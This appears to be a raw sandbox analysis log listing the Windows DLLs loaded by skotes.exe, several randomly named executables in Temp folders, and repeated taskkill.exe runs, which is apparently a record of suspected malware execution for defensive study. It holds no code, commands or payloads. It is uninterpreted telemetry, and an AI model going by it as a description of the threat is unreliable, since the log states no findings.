Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe	Section loaded: kernel.appcore.dll
